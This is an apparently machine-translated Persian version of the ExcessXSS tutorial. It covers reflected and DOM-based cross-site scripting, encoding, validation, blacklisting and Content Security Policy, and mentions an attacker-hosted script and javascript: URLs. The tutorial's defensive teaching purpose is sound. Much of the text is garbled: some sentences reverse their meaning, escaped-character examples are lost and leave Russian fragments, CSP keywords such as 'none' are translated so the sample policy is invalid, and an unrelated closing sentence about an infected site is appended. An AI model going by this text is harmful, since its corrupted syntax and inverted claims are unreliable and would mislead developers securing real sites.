هدف یک حمله XSS همیشه انجام یک حمله مخرب است اسکریپت جاوا اسکریپتدر مرورگر قربانی چندین راه اساسی برای رسیدن به این هدف وجود دارد. حملات XSS اغلب به سه نوع طبقه بندی می شوند:

• ذخیره شده (دائم) XSS، جایی که رشته مخرب از پایگاه داده وب سایت منشا می گیرد.
• XSS منعکس شده (غیر پایدار)، که در آن رشته مخرب از درخواست قربانی ایجاد می شود.
• XSS DOM، جایی که آسیب‌پذیری در کد سمت سرویس گیرنده رخ می‌دهد، نه کد سمت سرور.

مثال قبلی یک حمله XSS ذخیره شده را نشان می دهد. ما اکنون دو نوع دیگر از حملات XSS را شرح خواهیم داد: حملات XSS منعکس شده و DOM XSS.

XSS منعکس شده است

در یک حمله XSS منعکس شده، رشته مخرب بخشی از درخواست قربانی به وب سایت است. سایت می پذیرد و این رشته مخرب را در پاسخی که برای کاربر ارسال می کند درج می کند. نمودار زیر این سناریو را نشان می دهد:

قربانی مهاجم را فریب می دهد تا یک درخواست URL به یک وب سایت ارسال کند.

این سایت شامل یک رشته مخرب از درخواست URL در پاسخ به قربانی است.

مرورگر قربانی اسکریپت مخرب موجود در پاسخ را اجرا می کند و کوکی قربانی را به سرور مهاجم ارسال می کند.

چگونه یک حمله XSS منعکس شده را با موفقیت انجام دهیم؟

یک حمله XSS منعکس شده ممکن است بی ضرر به نظر برسد زیرا از قربانی می خواهد درخواستی حاوی رشته مخرب را از طرف خود ارسال کند. از آنجایی که هیچ کس داوطلبانه به خود حمله نمی کند، به نظر می رسد هیچ راهی برای انجام واقعی حمله وجود ندارد.

همانطور که مشخص است، حداقل دو راه متداول وجود دارد که قربانی را وادار به انجام یک حمله XSS منعکس شده علیه خود کنید:

• اگر کاربر یک شخص خاص باشد، مهاجم می تواند URL مخربی را برای قربانی ارسال کند (مثلاً با استفاده از پست الکترونیکیا پیام رسان) و او را فریب دهید تا پیوندی برای بازدید از یک وب سایت باز کند.
• اگر هدف گروه بزرگی از کاربران باشد، مهاجم می‌تواند پیوندی به یک URL مخرب پست کند (مثلاً در وب‌سایت خود یا شبکه اجتماعی) و منتظر بازدیدکنندگانی باشید که پیوند را دنبال می کنند.

هر دوی این روش‌ها مشابه هستند، و هر دو می‌توانند با سرویس‌های کوتاه‌کننده URL که رشته‌های مخرب را از کاربرانی که ممکن است قادر به شناسایی آن هستند پنهان کنند، موفق‌تر باشند.

XSS در DOM

XSS در DOM یک نوع حمله XSS ذخیره شده و منعکس شده است. در این حمله XSS، رشته مخرب توسط مرورگر قربانی پردازش نمی شود تا زمانی که جاوا اسکریپت واقعی وب سایت اجرا شود. نمودار زیر این سناریو را برای یک حمله XSS منعکس شده نشان می دهد:

مهاجم یک URL حاوی یک رشته مخرب ایجاد می کند و آن را برای قربانی ارسال می کند.

قربانی مهاجم را فریب می دهد تا یک درخواست URL به یک وب سایت ارسال کند.

سایت درخواست را می پذیرد اما رشته مخرب را در پاسخ شامل نمی شود.

مرورگر قربانی اسکریپت قانونی موجود در پاسخ را اجرا می کند و باعث می شود اسکریپت مخرب در صفحه درج شود.

مرورگر قربانی اسکریپت مخرب درج شده در صفحه را اجرا می کند و کوکی قربانی را به سرور مهاجم ارسال می کند.

تفاوت XSS در مدل DOM چیست؟

در نمونه های قبلی از حملات XSS ذخیره شده و منعکس شده، سرور یک اسکریپت مخرب را در یک صفحه قرار می دهد، که سپس در پاسخ به قربانی ارسال می شود. وقتی مرورگر قربانی پاسخی را دریافت می‌کند، فرض می‌کند که اسکریپت مخرب بخشی از محتوای قانونی صفحه است و به طور خودکار آن را در حین بارگذاری صفحه، مانند هر اسکریپت دیگری اجرا می‌کند.

در مثال حمله DOM XSS، اسکریپت مخرب به عنوان بخشی از صفحه درج نمی شود. تنها اسکریپتی که در حین بارگذاری صفحه به طور خودکار اجرا می شود، بخش قانونی صفحه است. مشکل این است که این اسکریپت قانونی مستقیماً از ورودی کاربر برای افزودن HTML به صفحه استفاده می کند. از آنجایی که رشته مخرب با استفاده از innerHTML در صفحه وارد می شود، به عنوان HTML تجزیه می شود و باعث می شود اسکریپت مخرب اجرا شود.

این تفاوت کوچک است، اما بسیار مهم است:

• در XSS سنتی، جاوا اسکریپت مخرب زمانی که صفحه بارگیری می شود، به عنوان بخشی از HTML ارسال شده توسط سرور اجرا می شود.
• در مورد XSS در DOM، جاوا اسکریپت مخرب پس از بارگیری صفحه اجرا می‌شود و در نتیجه آن صفحه با جاوا اسکریپت قانونی به ورودی کاربر (شامل رشته مخرب) به روشی ناامن دسترسی پیدا می‌کند.

XSS چگونه در DOM کار می کند؟

در مثال قبلی، نیازی به جاوا اسکریپت نیست. سرور می تواند تمام HTML را به تنهایی تولید کند. اگر کد سمت سرور حاوی آسیب‌پذیری نبود، وب‌سایت تحت تأثیر آسیب‌پذیری XSS قرار نمی‌گرفت.

با این حال، با پیشرفته تر شدن برنامه های کاربردی وب، صفحات HTML بیشتری با جاوا اسکریپت در سمت مشتری به جای سمت سرور تولید می شوند. در هر زمان، محتوا باید بدون بازخوانی کل صفحه تغییر کند، این امکان وجود دارد با استفاده از جاوا اسکریپت. به ویژه، این مورد زمانی است که صفحه پس از درخواست AJAX به روز می شود.

این به آن معنا است آسیب پذیری های XSSمی تواند نه تنها در سمت سرور کد سایت شما، بلکه در سمت کد جاوا اسکریپت مشتری سایت شما نیز وجود داشته باشد. بنابراین، حتی زمانی که به طور کامل کد امندر سمت سرور، کد کلاینت ممکن است هنگام به روز رسانی DOM پس از بارگیری صفحه، هنوز به طور ایمن ورودی کاربر را شامل نشود. اگر این اتفاق بیفتد، کد سمت سرویس گیرنده اجازه حمله XSS را بدون تقصیر کد سمت سرور می دهد.

XSS مبتنی بر DOM ممکن است برای سرور قابل مشاهده نباشد

وجود دارد یک مورد خاصحملات XSS در DOM که در آن رشته مخرب هرگز به سرور وب‌سایت ارسال نمی‌شود: این زمانی اتفاق می‌افتد که رشته مخرب در قطعه‌ای از شناسه URL (هر چیزی بعد از نماد #) قرار می‌گیرد. مرورگرها این قسمت از URL را به سرور ارسال نمی کنند، بنابراین وب سایت نمی تواند با کد سمت سرور به آن دسترسی داشته باشد. کد سمت کلاینت اما به آن دسترسی دارد و بنابراین حمله XSS از طریق پردازش ناامن امکان پذیر است.

این مورد به شناسه قطعه محدود نمی شود. ورودی های کاربر دیگری وجود دارد که برای سرور نامرئی است، مانند ویژگی های جدید HTML5 مانند LocalStorage و IndexedDB.

قسمت سوم:
XSS Prevention تکنیک های پیشگیری XSS

به یاد بیاورید که XSS یک حمله از نوع تزریق کد است: ورودی کاربر به اشتباه به عنوان مخرب تفسیر می شود. کد برنامه نویسی. برای جلوگیری از این نوع تزریق کد، مدیریت ورودی ایمن مورد نیاز است. برای یک توسعه دهنده وب، دو امر اساسی وجود دارد راه های مختلفمدیریت امن ورودی را انجام دهید:

• رمزگذاری تکنیکی است که اجازه می دهد ورودی کاربر فقط به عنوان داده تولید شود و به مرورگر اجازه نمی دهد آن را به عنوان کد پردازش کند.
• اعتبار سنجی راهی برای فیلتر کردن ورودی کاربر است به طوری که مرورگر آن را به عنوان کد بدون دستورات مخرب تفسیر می کند.

در حالی که این روش‌ها اساساً روش‌های پیشگیری XSS متفاوت هستند، اما چند ویژگی مشترک دارند که درک آنها هنگام استفاده از هر یک از آنها مهم است:

Context مدیریت ورودی ایمن باید بسته به جایی که از ورودی کاربر در صفحه استفاده می‌شود متفاوت باشد. ورودی/خروجی مدیریت امن ورودی می تواند زمانی انجام شود که سایت شما ورودی دریافت کند ( ترافیک ورودی) یا درست قبل از اینکه سایت ورودی کاربر را در محتوای صفحه درج کند (خروجی). پردازش ورودی ایمن Client/Server می‌تواند در سمت مشتری یا در سمت سرور انجام شود، هر گزینه در شرایط مختلف مورد نیاز است.

قبل از توضیح دقیق نحوه کدگذاری و اعتبار سنجی، هر یک از این نکات را شرح خواهیم داد.

مدیریت ورودی کاربر در زمینه ها

زمینه های زیادی در یک صفحه وب وجود دارد که ورودی کاربر را می توان در آنها اعمال کرد. برای هر یک از آنها، قوانین خاصی باید رعایت شود تا ورودی کاربر نتواند از متن خود خارج شود و به عنوان کد مخرب تفسیر شود. موارد زیر رایج ترین زمینه ها هستند:

منظور از زمینه ها چیست؟

در تمام زمینه های توصیف شده، اگر ورودی کاربر قبل از اولین رمزگذاری یا اعتبارسنجی وارد شده باشد، آسیب پذیری XSS می تواند رخ دهد. یک مهاجم می تواند کد مخرب را به سادگی با قرار دادن یک جداکننده بسته برای این زمینه و به دنبال آن کد مخرب تزریق کند.

به عنوان مثال، اگر در نقطه‌ای از وب‌سایت، ورودی کاربر را مستقیماً وارد کنید ویژگی HTML، یک مهاجم می تواند با شروع ورودی خود با یک نقل قول، یک اسکریپت مخرب را تزریق کند، همانطور که در زیر نشان داده شده است:

با حذف همه نقل قول ها در ورودی کاربر می شد از این امر جلوگیری کرد و همه چیز خوب بود، اما فقط در این زمینه. اگر ورودی در زمینه دیگری درج شده باشد، جداکننده بسته متفاوت خواهد بود و تزریق امکان پذیر خواهد بود. به همین دلیل، مدیریت ورودی ایمن باید همیشه با زمینه ای که ورودی کاربر در آن درج می شود، تطبیق داده شود.

مدیریت ورودی/خروجی کاربر ورودی

به طور غریزی، به نظر می رسد که XSS می تواند با رمزگذاری یا اعتبارسنجی تمام ورودی های کاربر به محض دریافت سایت ما، جلوگیری شود. به این ترتیب، هر رشته‌های مخرب هر زمان که در صفحه قرار گیرند خنثی می‌شوند و اسکریپت‌های تولید HTML دیگر نگران مدیریت امن ورودی کاربر نخواهند بود.

مشکل این است که همانطور که قبلا توضیح داده شد، ورودی کاربر را می توان در چندین زمینه در صفحه درج کرد. و هیچ راه آسانی برای تعیین اینکه ورودی کاربر به یک زمینه وارد می شود وجود ندارد - در نهایت چگونه درج می شود، و همان ورودی کاربر اغلب باید در زمینه های مختلف درج شود. با تکیه بر مدیریت ورودی ورودی برای جلوگیری از XSS، ما یک راه حل بسیار شکننده ایجاد می کنیم که مستعد خطا است. (نقل قول جادویی PHP منسوخ شده نمونه ای از چنین راه حلی است.)

درعوض، مدیریت ورودی خروجی باید خط دفاعی اصلی شما در برابر XSS باشد زیرا می‌تواند زمینه خاص ورودی کاربر را در نظر بگیرد. تا حدی، اعتبار سنجی ورودی می تواند برای افزودن یک لایه حفاظتی ثانویه استفاده شود، اما بعداً در مورد آن بیشتر توضیح خواهیم داد.

جایی که امکان رسیدگی به ورودی های کاربر به صورت ایمن وجود دارد

در اکثر برنامه های کاربردی وب مدرن، ورودی کاربر هم در سمت سرور و هم در سمت مشتری پردازش می شود. به منظور محافظت در برابر انواع XSS، مدیریت ورودی امن باید هم در کد سمت سرور و هم در کد سمت سرویس گیرنده انجام شود.

• به منظور محافظت در برابر XSS سنتی، مدیریت ورودی امن باید در کد سمت سرور انجام شود. این کار با استفاده از برخی از زبان های پشتیبانی شده توسط سرور انجام می شود.
• به منظور محافظت در برابر حمله XSS در DOM، جایی که سرور هرگز یک رشته مخرب دریافت نمی کند (به عنوان مثال، حمله قطعه شناسه که قبلاً توضیح داده شد)، مدیریت ورودی امن باید در کد سمت سرویس گیرنده انجام شود. این کار با جاوا اسکریپت انجام می شود.

اکنون که توضیح دادیم چرا زمینه اهمیت دارد، چرا تمایز بین پردازش ورودی ورودی و خروجی مهم است، و چرا پردازش ورودی امن باید در هر دو طرف انجام شود، هم در سمت مشتری و هم در سمت سرور، می‌توانیم به توضیح ادامه دهیم. چگونه دو نوع پردازش ورودی امن (رمزگذاری و اعتبارسنجی) واقعاً انجام می شود.

کد نویسی

رمزگذاری راهی برای خروج از موقعیتی است که در آن مرورگر لازم است ورودی کاربر را فقط به عنوان داده تفسیر کند نه کد. محبوب ترین نوع رمزگذاری در توسعه وب، HTML Escapement است که کاراکترهایی مانند< и >V< и >به ترتیب.

شبه کد زیر نمونه ای از نحوه کدگذاری ورودی کاربر (ورودی کاربر) است با استفاده از HTMLماسک کردن و سپس با استفاده از یک اسکریپت سمت سرور در صفحه درج می شود:

چاپ ""
چاپ "آخرین نظر:"
چاپ encodeHtml (userInput)
چاپ ""

اگر کاربر خط زیر را وارد کند ... ، HTML حاصل به شکل زیر خواهد بود:

آخرین نظر:
...

از آنجایی که تمام کاراکترهای دارای معنای خاص حذف شده اند، مرورگر هیچ بخشی از ورودی کاربر را مانند HTML تجزیه نمی کند.

کدنویسی سمت کلاینت و سرور

هنگام انجام رمزگذاری سمت سرویس گیرنده، همیشه از جاوا اسکریپت استفاده می شود که دارای توابع داخلی است که داده ها را برای زمینه های مختلف رمزگذاری می کند.

هنگام انجام کدنویسی در کد سمت سرور خود، به ویژگی های موجود در زبان یا چارچوب خود تکیه می کنید. با توجه به تعداد زیاد زبان ها و چارچوب های موجود، این آموزشجزئیات کدنویسی در هیچ زبان یا چارچوب سرور خاصی را پوشش نخواهد داد. با این حال، ویژگی‌های کدگذاری جاوا اسکریپت که در سمت سرویس گیرنده استفاده می‌شوند، هنگام نوشتن کد سمت سرور نیز استفاده می‌شوند.

کدگذاری سمت مشتری

هنگام رمزگذاری ورودی کاربر سمت سرویس گیرنده با جاوا اسکریپت، چندین روش و ویژگی داخلی وجود دارد که به طور خودکار همه داده ها را به سبک حساس به زمینه رمزگذاری می کند:

آخرین زمینه که قبلاً در بالا ذکر شد (مقادیر در جاوا اسکریپت) در این لیست گنجانده نشده است، زیرا جاوا اسکریپت راهی داخلی برای رمزگذاری داده هایی که در نسخه اصلی گنجانده می شود ارائه نمی کند. کد جاوا اسکریپت.

محدودیت های کدنویسی

حتی هنگام رمزگذاری، امکان استفاده از رشته های مخرب در برخی زمینه ها وجود دارد. مثال بارز آن زمانی است که از ورودی کاربر برای ارائه URL استفاده می شود، مانند مثال زیر:

document.querySelector("a").href = userInput

اگرچه مقدار مشخص شده در ویژگی href عنصر به طور خودکار آن را رمزگذاری می کند به طوری که چیزی بیش از مقدار مشخصه نمی شود، اما این به تنهایی مانع از وارد کردن یک URL که با "javascript:" شروع می شود، توسط مهاجم نمی شود. هنگامی که لینک کلیک می شود، صرف نظر از ساختار، جاوا اسکریپت جاسازی شده در URL اجرا می شود.

کدگذاری هم هست راه حل موثرزمانی که می خواهید کاربران بتوانند از برخی از HTML موجود در صفحه استفاده کنند. یک مثال می تواند صفحه نمایه کاربر باشد که در آن کاربر می تواند از HTML سفارشی استفاده کند. اگر این HTML ساده کدگذاری شده باشد، صفحه نمایه فقط می تواند از متن ساده تشکیل شود.

در شرایطی مانند این، کدنویسی باید با اعتبار سنجی تکمیل شود که در ادامه به بررسی آن خواهیم پرداخت.

اعتبار سنجی

اعتبار سنجی عمل فیلتر کردن ورودی کاربر است به طوری که تمام قسمت های مخرب آن بدون نیاز به حذف همه کدهای موجود در آن حذف می شود. یکی از پرکاربردترین انواع اعتبارسنجی در توسعه وب به برخی از عناصر HTML (مانند و ) اجازه می دهد اما برخی دیگر (مانند ) را غیرمجاز می کند.

دو بررسی مشخصه اصلی وجود دارد که در اجرای آنها متفاوت است:

استراتژی طبقه بندی ورودی کاربر را می توان با استفاده از لیست سیاه یا لیست سفید طبقه بندی کرد. نتیجه اعتبار سنجی ورودی کاربر که به عنوان مخرب شناسایی شده است را می توان رد یا پاکسازی کرد.

لیست سیاه استراتژی طبقه بندی

به طور غریزی، انجام بررسی با تعریف یک الگوی ممنوعه که نباید در ورودی کاربر ظاهر شود، مناسب به نظر می رسد. اگر رشته ای با این الگو مطابقت داشته باشد، به عنوان نامعتبر علامت گذاری می شود. به عنوان مثال، به کاربران اجازه دهید URL های سفارشی را با هر پروتکلی به جز جاوا اسکریپت ارسال کنند: . این استراتژی طبقه بندی نامیده می شود لیست سیاه.

با این حال، لیست سیاه دو اشکال اساسی دارد:

دشواری توصیف دقیق مجموعه تمام رشته های مخرب ممکن معمولاً یک کار بسیار دشوار است. سیاست مثالی که در بالا توضیح داده شد را نمی توان با موفقیت اجرا کرد جستجوی سادهتوسط زیر رشته " javascript "، زیرا رشته ای مانند " Javascript: " را از دست می دهد (که در آن حرف اول است حروف بزرگ) و "javascript:" (که در آن حرف اول به عنوان یک مرجع نویسه عددی کدگذاری می شود). منسوخ شدن حتی اگر یک لیست سیاه ایده آل ایجاد شود، اگر ویژگی جدیدی که به مرورگر اضافه می شود برای حمله استفاده شود، بی فایده خواهد بود. به عنوان مثال، اگر لیست سیاه برای اعتبار سنجی HTML قبل از معرفی ویژگی onmousewheel در HTML5 ایجاد شده باشد، آن (لیست سیاه) نمی تواند مانع از استفاده مهاجم از این ویژگی برای انجام یک حمله XSS شود. این نقص به ویژه در توسعه وب که شامل بسیاری از فناوری‌های مختلف است که دائماً در حال به‌روزرسانی هستند، اهمیت دارد.

به دلیل این کاستی ها، قرار دادن لیست سیاه به عنوان یک استراتژی طبقه بندی به شدت ممنوع است. قرار دادن لیست سفید به طور کلی یک رویکرد بسیار امن تر است که در ادامه توضیح خواهیم داد.

لیست سفید

لیست سفیداساساً برعکس لیست سیاه: به جای تعیین یک الگوی ممنوعه، رویکرد لیست سفید یک الگوی مجاز را تعریف می کند و در صورت وجود آن ورودی را نامعتبر می کند. مطابقت ندارداین الگو

برخلاف لیست‌های سیاه، نمونه‌ای از فهرست‌های سفید این است که به کاربران اجازه می‌دهد URLهای سفارشی حاوی پروتکل‌های http: و https: را ارسال کنند، نه چیزی بیشتر. این رویکرد به طور خودکار URL را به عنوان نامعتبر علامت گذاری می کند اگر حاوی پروتکل جاوا اسکریپت: باشد، حتی اگر به صورت "جاوا اسکریپت:" یا "جاوا اسکریپت:" ارائه شود.

در مقایسه با لیست سیاه، لیست سفید دو مزیت اصلی دارد:

سادگی توصیف دقیق مجموعه رشته های ایمن معمولاً بسیار ساده تر از شناسایی مجموعه تمام رشته های مخرب است. این به ویژه در شرایط عمومی که ورودی کاربر باید شامل مجموعه بسیار محدودی از عملکردهای موجود در مرورگر باشد، کاربرد دارد. به عنوان مثال، لیست سفیدی که در بالا توضیح داده شد، به سادگی اجازه می دهد فقط از URL هایی با پروتکل های http: یا https: مجاز استفاده شود، و در اکثر مواقع این برای کاربران کافی است. دوام بر خلاف لیست سیاه، لیست سفید معمولاً با اضافه شدن یک ویژگی جدید به مرورگر منسوخ نمی شود. به عنوان مثال، اعتبار سنجی لیست سفید HTML اجازه می دهد تا تنها ویژگی های عنوان عناصر HTML ایمن باقی بمانند، حتی اگر آن (لیست سفید) قبل از معرفی ویژگی چرخه موس HTML5 طراحی شده باشد.

نتیجه اعتبارسنجی

هنگامی که یک ورودی کاربر به عنوان نامعتبر (ممنوع) علامت گذاری شده است، یکی از دو اقدام می تواند انجام شود:

ورودی Reject به سادگی رد می شود و از استفاده آن در جای دیگری از سایت جلوگیری می کند. پاکسازی تمام قسمت‌های نامعتبر داده‌های ورودی حذف شده و ورودی باقی‌مانده طبق معمول در وب‌سایت استفاده می‌شود.

از بین این دو، "انحراف" ساده ترین رویکرد برای پیاده سازی است. اما اعتقاد بر این است که ضد عفونی مفیدتر است زیرا بیشتر را فراهم می کند طیف گسترده ایورودی برای کاربر به عنوان مثال، اگر کاربر یک شماره ارسال کند کارت اعتباری، ضدعفونی کردن همه غیر کاراکترها را حذف می کند و از تزریق کد جلوگیری می کند و همچنین به کاربر اجازه می دهد شماره را با خط تیره یا بدون خط تیره وارد کند.

اگر تصمیم به اجرای ضدعفونی دارید، باید مطمئن شوید که خود روش ضدعفونی از رویکرد لیست سیاه استفاده نمی کند. به عنوان مثال، URL "Javascript:..."، حتی اگر در لیست سفید به عنوان نامعتبر باشد، از روال ضد عفونی که به سادگی تمام نمونه های "javascript:" را حذف می کند، دور می زند. به همین دلیل، کتابخانه‌ها و چارچوب‌هایی که به خوبی آزمایش شده‌اند باید در صورت امکان از پاک‌سازی استفاده کنند.

از چه روش هایی برای پیشگیری استفاده کنیم؟

رمزگذاری باید اولین خط دفاع شما در برابر حملات XSS باشد، هدف آن پردازش داده ها به گونه ای است که مرورگر نتواند ورودی کاربر را به عنوان کد تفسیر کند. در برخی موارد، کدگذاری باید با اعتبار سنجی تکمیل شود. رمزگذاری و اعتبارسنجی باید برای ترافیک خروجی اعمال شود، زیرا تنها در این صورت می‌توانید بدانید که ورودی کاربر در چه زمینه‌ای اعمال می‌شود و کدگذاری و اعتبارسنجی باید اعمال شود.

به عنوان دومین خط دفاعی، باید ورودی‌های نامعتبر کاربر، مانند پیوندها، در داده‌های دریافتی با استفاده از پروتکل جاوا اسکریپت را پاکسازی یا رد کنید. این به خودی خود نمی تواند امنیت کامل را فراهم کند، اما اگر هر نقطه ای در حفاظت از کدگذاری و اعتبارسنجی به دلیل اجرای نادرست از کار بیفتد، یک اقدام احتیاطی مفید است.

اگر این دو خط دفاعی به طور مداوم استفاده شوند، سایت شما از حملات XSS محافظت می شود. با این حال، به دلیل پیچیدگی ایجاد و نگهداری یک وب سایت، ارائه حفاظت کامل تنها با استفاده از مدیریت امن ورودی کاربر می تواند دشوار باشد. به عنوان خط سوم دفاعی، باید از سیاست های امنیتی محتوا استفاده کنید ( انگلیسی خط مشی امنیت محتوا) سپس CSP که در ادامه توضیح خواهیم داد.

سیاست های امنیتی محتوا (CSP)

استفاده از مدیریت امن ورودی کاربر برای محافظت در برابر حملات XSS کافی نیست، زیرا حتی یک خطای امنیتی می تواند وب سایت شما را در معرض خطر قرار دهد. استفاده از سیاست‌های امنیت محتوا (CSP) استاندارد وب جدید می‌تواند این خطر را کاهش دهد.

از CSPها برای محدود کردن استفاده مرورگر از یک صفحه وب استفاده می‌شود تا بتواند فقط از منابع دانلود شده از منابع مطمئن استفاده کند. آ منابعاسکریپت ها، شیوه نامه ها، تصاویر یا هر نوع فایل دیگری هستند که در صفحه به آنها ارجاع داده می شود. این بدان معنی است که حتی اگر یک مهاجم بتواند محتوای مخرب را به سایت شما تزریق کند، CSP قادر خواهد بود از اجرای آن جلوگیری کند.

از CSP ها می توان برای اجرای قوانین زیر استفاده کرد:

ممنوعیت منابع غیرقابل اعتماد منابع خارجی را فقط می توان از مجموعه ای از منابع مطمئن کاملاً تعریف شده دانلود کرد. غیرمجاز کردن منابع جاسازی شده در جاوا اسکریپت و CSS رعایت نخواهد شد. غیرفعال کردن eval غیرفعال کردن استفاده از تابع eval در جاوا اسکریپت.

CSP در عمل

در مثال زیر، یک مهاجم موفق شد کد مخرب را به یک صفحه وب تزریق کند:

آخرین نظر:

با یک خط مشی CSP به درستی تعریف شده، مرورگر نمی تواند malicious‑script.js را بارگیری و اجرا کند زیرا http://attacker/ به عنوان منبع قابل اعتماد فهرست نشده است. حتی اگر سایت قادر به پردازش قابل اعتماد ورودی کاربر نبود، در این مورد، خط مشی CSP از ایجاد آسیب پذیری جلوگیری کرد.

حتی اگر یک مهاجم کد را در داخل کد اسکریپت تزریق کند، نه پیوندی به یک فایل خارجی، یک خط مشی CSP به درستی پیکربندی شده نیز از تزریق به کد جاوا اسکریپت جلوگیری می کند و از آسیب پذیری و ایجاد هر گونه آسیب جلوگیری می کند.

چگونه CSP را فعال کنیم؟

به طور پیش فرض، مرورگرها از CSP استفاده نمی کنند. برای فعال کردن SCP در وب‌سایت‌تان، صفحات باید حاوی یک عنوان HTTP اضافی باشند: Content-Security-Policy. هر صفحه ای که حاوی این سرصفحه باشد، هنگام بارگیری توسط مرورگر، سیاست های امنیتی را اعمال می کند، مشروط بر اینکه مرورگر از CSP پشتیبانی کند.

از آنجایی که خط مشی امنیتی با هر پاسخ HTTP ارسال می شود، این امکان برای سرور وجود دارد که به صورت جداگانه خط مشی را برای هر صفحه تنظیم کند. با درج یک هدر CSP در هر پاسخ، می توان همین سیاست را برای کل وب سایت اعمال کرد.

مقدار در هدر Content-Security-Policy حاوی رشته ای است که یک یا چند خط مشی امنیتی را مشخص می کند که در سایت شما کار می کنند. نحو این خط در ادامه توضیح داده خواهد شد.

مثال‌های عنوان در این بخش از شکسته‌های خط و تورفتگی برای سهولت خواندن استفاده می‌کنند. آنها نباید در هدر واقعی وجود داشته باشند.

نحو CSP

نحو هدر CSP به شرح زیر است:

خط مشی امنیت محتوا:
بخشنامه منبع-بیان, منبع-بیان, ...;
بخشنامه ...;
...

این نحو از دو عنصر تشکیل شده است:

• دستورالعمل ها، که رشته هایی هستند که نوع منبع گرفته شده از لیست داده شده را نشان می دهند.
• عبارت منبع مدلی است که یک یا چند سرور را توصیف می کند که می توان از آنها منابع را بارگیری کرد.

برای هر دستورالعمل، داده‌های عبارت منبع تعیین می‌کنند که کدام منابع می‌توانند برای بارگیری منابع از آن نوع استفاده شوند.

بخشنامه ها

دستورالعمل های زیر را می توان در هدر CSP استفاده کرد:

• connect-src
• font-src
• frame-src
• img-src
• media-src
• object-src
• script-src
• style-src

علاوه بر این، دستورالعمل ویژه default-src می تواند برای ارائه یک مقدار پیش فرض برای همه دستورالعمل هایی که در هدر گنجانده نشده اند استفاده شود.

بیان منبع

نحو ایجاد یک عبارت منبع به شرح زیر است:

protocol:// host-name: port-number

نام میزبان می تواند با * شروع شود، به این معنی که هر زیر دامنه ای از نام میزبان ارائه شده مجاز خواهد بود. به طور مشابه، یک شماره پورت می تواند به صورت * نمایش داده شود، که به این معنی است که همه پورت ها مجاز خواهند بود. علاوه بر این، پروتکل و شماره پورت ممکن است حذف شوند. در صورتی که هیچ پروتکلی مشخص نشده باشد، خط مشی مستلزم آن است که همه منابع با استفاده از HTTPS بارگیری شوند.

علاوه بر نحو بالا، عبارت منبع می‌تواند یکی از چهار کلمه کلیدی با معنای خاص (شامل نقل قول) باشد:

"هیچ" منابع را غیرفعال می کند. "self" منابع را از میزبانی که صفحه وب در آن قرار دارد حل می کند. "unsafe-inline" به منابع موجود در صفحه به عنوان عناصر درون خطی، عناصر و جاوا اسکریپت: URL ها اجازه می دهد. "ناامن" اجازه می دهد تابع جاوا اسکریپتارزیابی

توجه داشته باشید که هر زمان از CSP استفاده می شود، منابع جاسازی شده و eval به طور پیش فرض غیرفعال می شوند. استفاده از "unsafe-inline" و "unsafe-eval" تنها راه استفاده از آنها است.

مثال سیاست

خط مشی امنیت محتوا:
script-src "self" scripts.example.com;
media-src "هیچ";
img-src*;
default-src "self" http://*.example.com

با این سیاست مثال، صفحه وب دارای محدودیت های زیر خواهد بود:

• اسکریپت ها را فقط می توان از میزبانی که صفحه وب در آن قرار دارد و از این آدرس بارگیری کرد: scripts.example.com .
• فایل های صوتی و تصویری مجاز به آپلود نیستند.
• فایل های تصویری را می توان از هر آدرسی دانلود کرد.
• تمام منابع دیگر را فقط می توان از میزبانی که صفحه وب در آن قرار دارد و از هر زیردامنه example.com دانلود کرد.

وضعیت CSP

از ژوئن 2013، سیاست‌های امنیتی محتوا توسط W3C توصیه می‌شود. CSP توسط توسعه دهندگان مرورگر پیاده سازی می شود، اما برخی از قسمت های آن مختص مرورگرهای مختلف است. برای مثال، استفاده از هدر HTTP ممکن است بین مرورگرها متفاوت باشد. قبل از استفاده از CSP، لطفاً به مستندات مرورگرهایی که قصد پشتیبانی از آنها را دارید، مراجعه کنید.

خلاصه خلاصه: XSS Overview

• حمله XSS یک حمله تزریق کد است که با مدیریت ناامن ورودی کاربر ممکن می شود.
• یک حمله موفق XSS به مهاجم اجازه می دهد تا جاوا اسکریپت مخرب را در مرورگر قربانی اجرا کند.
• یک حمله موفق XSS امنیت وب سایت و کاربران آن را به خطر می اندازد.

خلاصه: حملات XSS

• سه نوع اصلی از حملات XSS وجود دارد:
  • XSS ذخیره شده، جایی که ورودی مخرب از پایگاه داده وب سایت منشا می گیرد.
  • منعکس شده XSS، که در آن ورودی مخرب از درخواست قربانی سرچشمه می گیرد.
  • حملات XSS در مدل DOM، که در آن آسیب‌پذیری در کد سمت کلاینت مورد سوء استفاده قرار می‌گیرد، نه در سمت سرور.
• همه این حملات به صورت متفاوتی انجام می شوند، اما در صورت موفقیت، اثر یکسانی دارند.

خلاصه: پیشگیری از XSS

• مهم ترین راه برای جلوگیری از حملات XSS انجام مدیریت ورودی امن است.
  • هر زمان که ورودی کاربر در صفحه فعال است، رمزگذاری باید انجام شود.
  • در برخی موارد، کدگذاری باید با اعتبار سنجی جایگزین یا تکمیل شود.
  • مدیریت ایمن ورودی باید در نظر داشته باشد که ورودی کاربر در چه زمینه صفحه ای درج شده است.
  • به منظور جلوگیری از انواع حملات XSS، مدیریت ورودی امن باید هم در کد سمت کلاینت و هم در سمت سرور انجام شود.
• سیاست‌های امنیتی محتوا (CSP) یک لایه حفاظتی اضافی در صورت شکست پردازش ورودی امن ارائه می‌کنند.

اصطلاحات ضمیمه

لازم به ذکر است که یک متقاطع در اصطلاح مورد استفاده برای توصیف XSS وجود دارد: یک حمله XSS به DOM می تواند ذخیره یا منعکس شود. اینها انواع جداگانه ای از حملات نیستند. هیچ اصطلاح پذیرفته شده ای وجود ندارد که تمام انواع XSS را بدون اختلاط پوشش دهد. صرف نظر از اصطلاحات مورد استفاده برای توصیف XSS، مهمترین چیز تعیین نوع حمله است، این امر در صورتی امکان پذیر است که بدانید ورودی مخرب از کجا می آید و آسیب پذیری در کجا قرار دارد.

حقوق استفاده و پیوندها

کد منبع برای ExcessXSSدر GitHub موجود است.

ExcessXSSدر سال 2013 به عنوان بخشی از دوره امنیت مبتنی بر زبان در دانشگاه صنعتی چالمرز ایجاد شد.

ترجمه به روسی توسط A888R انجام شد، متن اصلی در زبان انگلیسی: excess-xss.com، نظرات، پیشنهادات و خطاهای ترجمه را اینجا ارسال کنید.

یک ویروس در سایت زخمی شده است، و مانند هر شیء آلوده، منبع وب شما به یک منبع بزرگ مشکل تبدیل شده است: اکنون نه تنها سودی به همراه ندارد، بلکه اعتبار شما را در اینترنت، خریداران، جستجو نیز بی اعتبار می کند. موتورها و حتی میزبان از شما دور می شوند.

